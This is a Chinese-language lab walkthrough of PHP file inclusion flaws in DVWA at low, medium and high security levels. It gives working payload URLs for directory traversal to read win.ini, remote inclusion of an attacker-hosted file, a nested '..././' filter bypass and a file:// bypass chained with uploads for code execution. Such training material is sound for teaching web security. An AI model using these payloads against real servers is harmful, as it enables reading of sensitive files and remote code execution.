文件包含是指当服务器开启allowurlinclude选项时,就可以通过php的某些特性函数(include(),require()和includeonce(),requireonce())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allowurlfopen选项(选项开启之后,服务器允许包含一个远程的文件)。
安全等级:低,将页面安全等级调为低。点击查看源码按钮,可以看到此时后台的实现代码如下:
可以看到url处,通过page参数分别传入的file1.php,file2.php,file3.php实现了不同的功能。那我们尝试着使用file4.php进行访问(请使用实际实验给到的靶机ip地址):
可以尝试包含以下windows(服务器为windows,如果为linux可以尝试包含/etc/passwd)中的其他文件呢?尝试构造以下链接
或者使用../的方式来进行目录跳转,可构造payload(请使用实际实验给到的靶机ip地址):
http://172.16.33.165/web/vulnerabilities/fi/?page=../../../../../windows/win.ini
由于包含的文件不是php代码,所以直接显示在了页面中,如果包含的文件为php代码,那代码将会执行。我们可以利用此漏洞去读取一些敏感文件,有些时候还可以通过包含日志的方式来getshell。
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
在操作机上创建以下文件,文件后缀随意,比如1.txt,内容为:
http://172.16.33.165:8080/1.txt
这里需要确保服务器能访问到我们搭建的web服务。
所以我们可以尝试包含这个文件:
http://172.16.33.165/web/vulnerabilities/fi/?page=http://172.16.16.17:8080/1.txt
中级。点击查看源码按钮,可以看到此时后台的实现代码如下
与安全等级为低的代码相比,此时的后台代码添加了str_replace来过滤传入字符串。将http://,https://,../,..\过滤为空,即删除。但是使用这种方式是及其不安全的。比如构造payload:
http://172.16.33.165/web/vulnerabilities/fi/?page=..././..././..././..././..././windows/win.ini
对于远程包含,可以构造:
安全等级:高,将页面安全等级调为高。点击查看源码按钮,可以看到此时后台的实现代码如下:
此时后台代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。看似比较安全,但是我们可以利用file协议绕过防护,继续进行文件包含,构造payload如下:
可以看到成功包含。至于执行任意php代码,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意代码执行。 如,已知服务器上存在一个c:/1.txt,内容为:
<?php
phpinfo();
?>
那包含的结果为:
http://172.16.33.165/web/vulnerabilities/fi/index.php?page=file://c:/1.txt